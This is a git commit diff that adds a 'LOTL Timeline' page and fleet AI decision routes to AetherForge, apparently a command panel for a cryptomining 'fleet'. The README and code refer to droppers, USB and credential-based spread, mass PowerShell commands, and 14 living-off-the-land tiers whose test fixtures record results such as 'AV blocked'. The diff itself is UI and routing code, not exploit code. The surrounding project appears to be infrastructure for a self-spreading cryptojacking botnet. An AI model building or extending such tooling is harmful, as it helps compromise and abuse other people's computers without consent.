Add LOTL Timeline page for live tier progression visualization.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators get a dedicated Onion view with 14-tier stepper, fleet progress chips, and AI decision overlay when fleet AI control is enabled.
This commit is contained in:
@@ -148,6 +148,7 @@ Enable **USB Propagation** in the Forge. The baked binary:
|
|||||||
|
|
||||||
### Crucible (Command Terminal)
|
### Crucible (Command Terminal)
|
||||||
|
|
||||||
|
- **[LOTL Timeline](/lotl-timeline)** (`/onion`) — live 14-tier spread progression per agent with fleet progress bars
|
||||||
- Select one or many agents (or entire Fleet Groups) as targets
|
- Select one or many agents (or entire Fleet Groups) as targets
|
||||||
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
|
- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously
|
||||||
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
||||||
|
|||||||
@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
version := "AetherForge"
|
version := "AetherForge"
|
||||||
@@ -584,6 +584,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
||||||
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
||||||
}
|
}
|
||||||
|
if fleetAIHandler != nil {
|
||||||
|
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||||
|
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
||||||
|
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
||||||
|
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
||||||
|
}
|
||||||
|
|
||||||
moduleStore := NewModuleStore(dataDir, func() string {
|
moduleStore := NewModuleStore(dataDir, func() string {
|
||||||
fleetSecretForAgentPathsMu.RLock()
|
fleetSecretForAgentPathsMu.RLock()
|
||||||
|
|||||||
@@ -21,6 +21,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
|
|||||||
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
|
||||||
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
|
||||||
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
const EmberwakePage = lazy(() => import('./pages/EmberwakePage'));
|
||||||
|
const LotlTimelinePage = lazy(() => import('./pages/LotlTimelinePage'));
|
||||||
|
|
||||||
export function PageFallback() {
|
export function PageFallback() {
|
||||||
return (
|
return (
|
||||||
@@ -59,6 +60,8 @@ function App() {
|
|||||||
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
|
<Route path="/spread" element={<Navigate to="/emberwake" replace />} />
|
||||||
<Route path="/settings" element={<SettingsPage />} />
|
<Route path="/settings" element={<SettingsPage />} />
|
||||||
<Route path="/pathtracer" element={<PathTracerPage />} />
|
<Route path="/pathtracer" element={<PathTracerPage />} />
|
||||||
|
<Route path="/lotl-timeline" element={<LotlTimelinePage />} />
|
||||||
|
<Route path="/onion" element={<Navigate to="/lotl-timeline" replace />} />
|
||||||
</Routes>
|
</Routes>
|
||||||
</Suspense>
|
</Suspense>
|
||||||
</Layout>
|
</Layout>
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes } from '../types';
|
||||||
import { authHeaders, clearStoredAuth } from './auth';
|
import { authHeaders, clearStoredAuth } from './auth';
|
||||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
||||||
|
|
||||||
@@ -224,6 +224,16 @@ export const api = {
|
|||||||
}),
|
}),
|
||||||
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
|
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
|
||||||
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
|
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
|
||||||
|
getAIDecisions: (agentId?: string, limit = 50) => {
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
if (agentId?.trim()) params.set('agent_id', agentId.trim());
|
||||||
|
params.set('limit', String(limit));
|
||||||
|
return fetchJSON<AIDecisionRecord[]>(`/ai/decisions?${params}`);
|
||||||
|
},
|
||||||
|
getAIModels: (endpoint: string) =>
|
||||||
|
fetchJSON<{ models: string[]; endpoint?: string; error?: string }>(
|
||||||
|
`/ai/models?endpoint=${encodeURIComponent(endpoint)}`,
|
||||||
|
),
|
||||||
getEarningsEstimate: (hashrate: number) =>
|
getEarningsEstimate: (hashrate: number) =>
|
||||||
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
|
fetchJSON<EarningsEstimate>(`/earnings/estimate?hashrate=${encodeURIComponent(hashrate)}`),
|
||||||
sendAgentCommand: (
|
sendAgentCommand: (
|
||||||
|
|||||||
@@ -35,12 +35,14 @@ function operatorDeckId(pathname: string): string {
|
|||||||
if (path.startsWith('/builds')) return 'builds';
|
if (path.startsWith('/builds')) return 'builds';
|
||||||
if (path.startsWith('/settings')) return 'settings';
|
if (path.startsWith('/settings')) return 'settings';
|
||||||
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
if (path.startsWith('/pathtracer')) return 'pathtracer';
|
||||||
|
if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline';
|
||||||
return 'dashboard';
|
return 'dashboard';
|
||||||
}
|
}
|
||||||
|
|
||||||
const NAV = [
|
const NAV = [
|
||||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||||
|
{ to: '/lotl-timeline', label: 'Onion', icon: 'onion' },
|
||||||
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
|
||||||
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
{ to: '/forge', label: 'Forge', icon: 'forge' },
|
||||||
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
|
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
|
||||||
@@ -103,6 +105,14 @@ function NavIcon({ type }: { type: string }) {
|
|||||||
<path d="M10 12l1.5 2L14 11" />
|
<path d="M10 12l1.5 2L14 11" />
|
||||||
</svg>
|
</svg>
|
||||||
);
|
);
|
||||||
|
case 'onion':
|
||||||
|
return (
|
||||||
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
<circle cx="12" cy="13" r="6" />
|
||||||
|
<circle cx="12" cy="13" r="3" strokeOpacity="0.45" />
|
||||||
|
<path d="M12 4v3M12 19v3M4 13h3M17 13h3" strokeOpacity="0.5" />
|
||||||
|
</svg>
|
||||||
|
);
|
||||||
case 'ember':
|
case 'ember':
|
||||||
return (
|
return (
|
||||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
|
||||||
|
|||||||
46
server/web/src/components/Lotl/LotlFleetOverview.tsx
Normal file
46
server/web/src/components/Lotl/LotlFleetOverview.tsx
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
import type { Agent } from '../../types';
|
||||||
|
import { buildLotlTimelineModel, lotlTimelineProgressLabel } from '../../help/lotlTimeline';
|
||||||
|
import type { TierAttempt } from '../../types/lotl';
|
||||||
|
import './LotlTimeline.css';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
agents: Agent[];
|
||||||
|
selectedId?: string;
|
||||||
|
tierOrder: string[];
|
||||||
|
onSelect: (agentId: string) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
function agentAttempts(agent: Agent): TierAttempt[] {
|
||||||
|
return agent.lotl_attempts ?? [];
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function LotlFleetOverview({ agents, selectedId, tierOrder, onSelect }: Props) {
|
||||||
|
const online = agents.filter((a) => a.status === 'online');
|
||||||
|
if (online.length === 0) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="lotl-fleet-overview" aria-label="Fleet tier progress">
|
||||||
|
<div className="lotl-fleet-overview-title">FLEET ONION PROGRESS</div>
|
||||||
|
{online.map((agent) => {
|
||||||
|
const model = buildLotlTimelineModel(agent, tierOrder, agentAttempts(agent));
|
||||||
|
const pct = model.total > 0 ? Math.round((model.succeeded / model.total) * 100) : 0;
|
||||||
|
const selected = agent.id === selectedId;
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={agent.id}
|
||||||
|
type="button"
|
||||||
|
className={`lotl-fleet-chip${selected ? ' lotl-fleet-chip--selected' : ''}`}
|
||||||
|
onClick={() => onSelect(agent.id)}
|
||||||
|
title={`${agent.name} — ${lotlTimelineProgressLabel(model)} tiers`}
|
||||||
|
>
|
||||||
|
<span className="lotl-fleet-chip-name">{agent.name}</span>
|
||||||
|
<div className="lotl-fleet-chip-bar" aria-hidden>
|
||||||
|
<div className="lotl-fleet-chip-fill" style={{ width: `${pct}%` }} />
|
||||||
|
</div>
|
||||||
|
<span className="lotl-fleet-chip-meta">{lotlTimelineProgressLabel(model)} tiers</span>
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
58
server/web/src/components/Lotl/LotlTierTimeline.test.tsx
Normal file
58
server/web/src/components/Lotl/LotlTierTimeline.test.tsx
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment happy-dom
|
||||||
|
*/
|
||||||
|
import { afterEach, describe, expect, it } from 'vitest';
|
||||||
|
import { cleanup, render, screen, fireEvent } from '@testing-library/react';
|
||||||
|
import LotlTierTimeline from './LotlTierTimeline';
|
||||||
|
import { buildLotlTimelineModel, resolveLotlTierOrder } from '../../help/lotlTimeline';
|
||||||
|
import { mockAgent } from '../../test/fixtures';
|
||||||
|
|
||||||
|
describe('LotlTierTimeline', () => {
|
||||||
|
afterEach(() => cleanup());
|
||||||
|
|
||||||
|
it('renders 14 tiers from fixture attempts', () => {
|
||||||
|
const order = resolveLotlTierOrder();
|
||||||
|
expect(order).toHaveLength(14);
|
||||||
|
|
||||||
|
const agent = mockAgent({
|
||||||
|
status: 'online',
|
||||||
|
lotl_tier: 'wsl',
|
||||||
|
lotl_attempts: [
|
||||||
|
{ tier: 'vuln_recon', ok: true, duration_ms: 800, phase: 'recon' },
|
||||||
|
{ tier: 'docker', ok: false, error: 'no daemon', duration_ms: 1200, phase: 'deploy' },
|
||||||
|
{ tier: 'wsl', ok: false, error: 'distro missing', duration_ms: 900, phase: 'deploy' },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
|
||||||
|
const model = buildLotlTimelineModel(agent, order, agent.lotl_attempts ?? []);
|
||||||
|
expect(model.tiers).toHaveLength(14);
|
||||||
|
expect(model.succeeded).toBe(1);
|
||||||
|
expect(model.tiers[0].state).toBe('success');
|
||||||
|
expect(model.tiers[1].state).toBe('failed');
|
||||||
|
expect(model.tiers[2].state).toBe('trying');
|
||||||
|
|
||||||
|
render(<LotlTierTimeline model={model} agentName="Test Miner" />);
|
||||||
|
|
||||||
|
expect(screen.getByText('ONION TIER CHAIN')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('1/14 tiers succeeded')).toBeInTheDocument();
|
||||||
|
expect(screen.getAllByRole('listitem')).toHaveLength(14);
|
||||||
|
expect(screen.getByText('Vuln Recon')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('GPO')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('expands attempt detail on tier click', () => {
|
||||||
|
const order = resolveLotlTierOrder();
|
||||||
|
const agent = mockAgent({
|
||||||
|
lotl_attempts: [
|
||||||
|
{ tier: 'docker', ok: false, error: 'AV blocked', duration_ms: 500, phase: 'deploy' },
|
||||||
|
],
|
||||||
|
});
|
||||||
|
const model = buildLotlTimelineModel(agent, order, agent.lotl_attempts ?? []);
|
||||||
|
|
||||||
|
render(<LotlTierTimeline model={model} agentName="Node A" />);
|
||||||
|
fireEvent.click(screen.getByText('Docker'));
|
||||||
|
expect(screen.getByText('AV blocked')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('deploy')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('500ms')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
109
server/web/src/components/Lotl/LotlTierTimeline.tsx
Normal file
109
server/web/src/components/Lotl/LotlTierTimeline.tsx
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
import { useMemo, useState } from 'react';
|
||||||
|
import type { LotlTimelineModel, LotlTimelineTierRow } from '../../help/lotlTimeline';
|
||||||
|
import { formatDurationMs } from '../../types/lotl';
|
||||||
|
import './LotlTimeline.css';
|
||||||
|
import '../Fleet/LotlVisuals.css';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
model: LotlTimelineModel;
|
||||||
|
agentName: string;
|
||||||
|
className?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
function stateGlyph(state: LotlTimelineTierRow['state']): string {
|
||||||
|
switch (state) {
|
||||||
|
case 'success':
|
||||||
|
return '✓';
|
||||||
|
case 'failed':
|
||||||
|
return '✗';
|
||||||
|
case 'skipped':
|
||||||
|
return '—';
|
||||||
|
case 'trying':
|
||||||
|
return '◉';
|
||||||
|
default:
|
||||||
|
return '·';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function TierDetail({ row }: { row: LotlTimelineTierRow }) {
|
||||||
|
const { attempt } = row;
|
||||||
|
return (
|
||||||
|
<div className="lotl-tier-detail" role="region" aria-label={`${row.label} attempt detail`}>
|
||||||
|
<div className="lotl-tier-detail-title">{row.label.toUpperCase()}</div>
|
||||||
|
{row.hint && <div className="lotl-tier-detail-row">{row.hint}</div>}
|
||||||
|
{attempt ? (
|
||||||
|
<>
|
||||||
|
<div className="lotl-tier-detail-row">
|
||||||
|
<span className={`lotl-attempt-icon ${attempt.ok ? 'ok' : 'fail'}`}>
|
||||||
|
{attempt.ok ? '✓' : '✗'}
|
||||||
|
</span>
|
||||||
|
<span>{attempt.ok ? 'Succeeded' : 'Failed'}</span>
|
||||||
|
{attempt.duration_ms !== undefined && (
|
||||||
|
<span className="lotl-attempt-dur">{formatDurationMs(attempt.duration_ms)}</span>
|
||||||
|
)}
|
||||||
|
{attempt.phase && <span className="lotl-tier-detail-tag">{attempt.phase}</span>}
|
||||||
|
</div>
|
||||||
|
{!attempt.ok && attempt.error && (
|
||||||
|
<div className="lotl-tier-detail-err">{attempt.error}</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<div className="lotl-tier-detail-row">
|
||||||
|
{row.state === 'skipped' ? 'Tier skipped by policy' : 'No attempt recorded yet'}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function LotlTierTimeline({ model, agentName, className = '' }: Props) {
|
||||||
|
const [expandedTier, setExpandedTier] = useState<string | null>(null);
|
||||||
|
|
||||||
|
const expandedRow = useMemo(
|
||||||
|
() => model.tiers.find((t) => t.tier === expandedTier),
|
||||||
|
[model.tiers, expandedTier],
|
||||||
|
);
|
||||||
|
|
||||||
|
const toggleTier = (tier: string) => {
|
||||||
|
setExpandedTier((prev) => (prev === tier ? null : tier));
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section className={`lotl-tier-timeline ${className}`.trim()} aria-label="LOTL tier progression">
|
||||||
|
<div className="lotl-tier-timeline-header">
|
||||||
|
<div>
|
||||||
|
<div className="lotl-tier-timeline-title">ONION TIER CHAIN</div>
|
||||||
|
<div className="lotl-tier-timeline-agent">{agentName}</div>
|
||||||
|
</div>
|
||||||
|
<div className="lotl-tier-timeline-progress">
|
||||||
|
{model.succeeded}/{model.total} tiers succeeded
|
||||||
|
{model.tryingTier && (
|
||||||
|
<span style={{ marginLeft: '0.5rem', color: '#ffb070' }}>
|
||||||
|
· trying {model.tryingTier.replace(/_/g, ' ')}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="lotl-tier-track" role="list">
|
||||||
|
{model.tiers.map((row) => (
|
||||||
|
<button
|
||||||
|
key={row.tier}
|
||||||
|
type="button"
|
||||||
|
role="listitem"
|
||||||
|
className={`lotl-tier-step lotl-tier-step--${row.state}${expandedTier === row.tier ? ' lotl-tier-step--expanded' : ''}`}
|
||||||
|
onClick={() => toggleTier(row.tier)}
|
||||||
|
title={row.hint || row.label}
|
||||||
|
aria-expanded={expandedTier === row.tier}
|
||||||
|
aria-current={row.state === 'trying' ? 'step' : undefined}
|
||||||
|
>
|
||||||
|
<span className="lotl-tier-node">{stateGlyph(row.state)}</span>
|
||||||
|
<span className="lotl-tier-label">{row.label}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{expandedRow && <TierDetail row={expandedRow} />}
|
||||||
|
</section>
|
||||||
|
);
|
||||||
|
}
|
||||||
352
server/web/src/components/Lotl/LotlTimeline.css
Normal file
352
server/web/src/components/Lotl/LotlTimeline.css
Normal file
@@ -0,0 +1,352 @@
|
|||||||
|
/* LOTL Onion Timeline — ember-accent progression stepper */
|
||||||
|
|
||||||
|
.lotl-timeline-page {
|
||||||
|
max-width: 1400px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-timeline-page .page-header h1 {
|
||||||
|
background: linear-gradient(90deg, #e8c872 0%, #ff8c3a 45%, #e85d4a 100%);
|
||||||
|
-webkit-background-clip: text;
|
||||||
|
background-clip: text;
|
||||||
|
color: transparent;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-overview {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-bottom: 1.25rem;
|
||||||
|
padding: 0.65rem 0.75rem;
|
||||||
|
border-radius: var(--deck-card-radius, 6px);
|
||||||
|
border: 1px solid rgba(232, 140, 58, 0.22);
|
||||||
|
background: rgba(8, 6, 4, 0.55);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-overview-title {
|
||||||
|
width: 100%;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.68rem;
|
||||||
|
letter-spacing: 0.14em;
|
||||||
|
color: rgba(232, 180, 100, 0.85);
|
||||||
|
margin-bottom: 0.15rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 0.25rem;
|
||||||
|
min-width: 120px;
|
||||||
|
max-width: 160px;
|
||||||
|
flex: 1 1 120px;
|
||||||
|
padding: 0.45rem 0.55rem;
|
||||||
|
border-radius: 5px;
|
||||||
|
border: 1px solid rgba(255, 255, 255, 0.06);
|
||||||
|
background: rgba(0, 0, 0, 0.35);
|
||||||
|
cursor: pointer;
|
||||||
|
transition: border-color 0.15s, box-shadow 0.2s;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip:hover {
|
||||||
|
border-color: rgba(255, 140, 58, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip--selected {
|
||||||
|
border-color: rgba(255, 140, 58, 0.55);
|
||||||
|
box-shadow: 0 0 12px rgba(232, 93, 74, 0.18);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip-name {
|
||||||
|
font-size: 0.72rem;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #eee;
|
||||||
|
white-space: nowrap;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip-bar {
|
||||||
|
height: 4px;
|
||||||
|
border-radius: 2px;
|
||||||
|
background: rgba(255, 255, 255, 0.08);
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip-fill {
|
||||||
|
height: 100%;
|
||||||
|
border-radius: 2px;
|
||||||
|
background: linear-gradient(90deg, #c4ad5a, #ff8c3a);
|
||||||
|
transition: width 0.35s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-fleet-chip-meta {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.6rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
letter-spacing: 0.06em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-timeline {
|
||||||
|
padding: 1rem 1.1rem 1.25rem;
|
||||||
|
border-radius: var(--deck-card-radius, 6px);
|
||||||
|
border: 1px solid rgba(232, 140, 58, 0.2);
|
||||||
|
background: linear-gradient(165deg, rgba(14, 10, 8, 0.92) 0%, rgba(6, 5, 8, 0.96) 100%);
|
||||||
|
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5), inset 0 1px 0 rgba(255, 180, 80, 0.06);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-timeline-header {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
align-items: baseline;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 0.5rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-timeline-title {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.72rem;
|
||||||
|
letter-spacing: 0.14em;
|
||||||
|
color: rgba(232, 180, 100, 0.9);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-timeline-agent {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-timeline-progress {
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.75rem;
|
||||||
|
color: #ffaa66;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-track {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: nowrap;
|
||||||
|
overflow-x: auto;
|
||||||
|
gap: 0;
|
||||||
|
padding: 0.5rem 0 0.75rem;
|
||||||
|
scrollbar-width: thin;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
align-items: center;
|
||||||
|
flex: 1 1 0;
|
||||||
|
min-width: 72px;
|
||||||
|
max-width: 96px;
|
||||||
|
position: relative;
|
||||||
|
border: none;
|
||||||
|
background: transparent;
|
||||||
|
cursor: pointer;
|
||||||
|
padding: 0.25rem 0.15rem;
|
||||||
|
color: inherit;
|
||||||
|
font: inherit;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step:not(:last-child)::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 14px;
|
||||||
|
left: calc(50% + 14px);
|
||||||
|
width: calc(100% - 28px);
|
||||||
|
height: 2px;
|
||||||
|
background: rgba(255, 255, 255, 0.08);
|
||||||
|
z-index: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--success:not(:last-child)::after,
|
||||||
|
.lotl-tier-step--trying:not(:last-child)::after {
|
||||||
|
background: linear-gradient(90deg, rgba(255, 140, 58, 0.5), rgba(255, 255, 255, 0.08));
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-node {
|
||||||
|
width: 28px;
|
||||||
|
height: 28px;
|
||||||
|
border-radius: 50%;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
font-size: 0.62rem;
|
||||||
|
font-weight: 700;
|
||||||
|
border: 2px solid rgba(255, 255, 255, 0.12);
|
||||||
|
background: rgba(0, 0, 0, 0.45);
|
||||||
|
position: relative;
|
||||||
|
z-index: 1;
|
||||||
|
transition: border-color 0.2s, box-shadow 0.25s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--pending .lotl-tier-node {
|
||||||
|
color: var(--text-muted);
|
||||||
|
border-color: rgba(255, 255, 255, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--skipped .lotl-tier-node {
|
||||||
|
color: rgba(180, 180, 190, 0.5);
|
||||||
|
border-color: rgba(255, 255, 255, 0.06);
|
||||||
|
opacity: 0.55;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--success .lotl-tier-node {
|
||||||
|
color: #7dffaa;
|
||||||
|
border-color: rgba(100, 220, 140, 0.45);
|
||||||
|
background: rgba(40, 80, 50, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--failed .lotl-tier-node {
|
||||||
|
color: #ff8866;
|
||||||
|
border-color: rgba(255, 100, 60, 0.45);
|
||||||
|
background: rgba(80, 30, 20, 0.35);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--trying .lotl-tier-node {
|
||||||
|
color: #ffb84d;
|
||||||
|
border-color: rgba(255, 160, 60, 0.7);
|
||||||
|
background: rgba(60, 35, 15, 0.5);
|
||||||
|
box-shadow:
|
||||||
|
0 0 14px rgba(255, 120, 40, 0.45),
|
||||||
|
0 0 28px rgba(232, 93, 74, 0.2);
|
||||||
|
animation: lotl-tier-pulse 1.8s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes lotl-tier-pulse {
|
||||||
|
0%, 100% {
|
||||||
|
box-shadow:
|
||||||
|
0 0 10px rgba(255, 120, 40, 0.35),
|
||||||
|
0 0 20px rgba(232, 93, 74, 0.15);
|
||||||
|
}
|
||||||
|
50% {
|
||||||
|
box-shadow:
|
||||||
|
0 0 18px rgba(255, 140, 58, 0.55),
|
||||||
|
0 0 36px rgba(232, 93, 74, 0.28);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-label {
|
||||||
|
margin-top: 0.35rem;
|
||||||
|
font-size: 0.58rem;
|
||||||
|
text-align: center;
|
||||||
|
line-height: 1.2;
|
||||||
|
color: var(--text-muted);
|
||||||
|
max-width: 100%;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-step--trying .lotl-tier-label,
|
||||||
|
.lotl-tier-step--success .lotl-tier-label {
|
||||||
|
color: rgba(240, 220, 200, 0.9);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lotl-tier-detail {
|
||||||
|
margin-top: 0.75rem;
|
||||||
|
padding: 0.65rem 0.85rem;
|
||||||
|
border-left: 2px solid rgba(255, 140, 58, 0.4);
|
||||||
|
background: rgba(0, 0, 0, 0.35);
|
||||||
|
border-radius: 0 4px 4px 0;
|
||||||
|
font-family: var(--font-tech);
|
